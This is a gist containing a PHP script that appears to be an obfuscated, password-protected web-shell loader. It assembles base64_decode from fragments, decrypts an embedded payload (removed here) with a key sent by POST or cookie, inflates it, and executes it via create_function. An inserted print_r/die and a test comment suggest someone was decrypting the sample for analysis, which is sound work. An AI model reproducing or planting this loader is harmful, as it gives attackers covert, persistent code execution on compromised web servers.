gistfile1.txt

<?php
$payload='base'.(128/2).'_de'.'code';

$payload = $payload(str_replace("\n", '', 'RAW BASE64 REMOVED'));

$post_data = isset($_POST['post_data']) ? $_POST['post_data'] : (isset($_COOKIE['post_data']) ? $_COOKIE['post_data'] : NULL);
// Below commented line was added so we can try to test from CLI
// $post_data = 'asdf';

if ($post_data !== NULL) {
    $post_data = md5($post_data) . substr(md5(strrev($post_data)), 0, strlen($post_data));
    for ($index = 0; $index < 15595; $index++) {
        $payload[$index] = chr((ord($payload[$index]) - ord($post_data[$index])) % 256);
        $post_data .= $payload[$index];
    }
    print_r($post_data); die();
    if ($payload = @gzinflate($payload)) {
        if (isset($_POST['post_data'])) {
            @setcookie('post_data', $_POST['post_data']);
            $index = create_function('',$payload);
            unset($post_data, $payload);
            $index();
        }
    }
}
?>
<form method="post" action="">
    <input type="text" name="post_data" value=""/>
    <input type="submit" value="&gt;"/>
</form>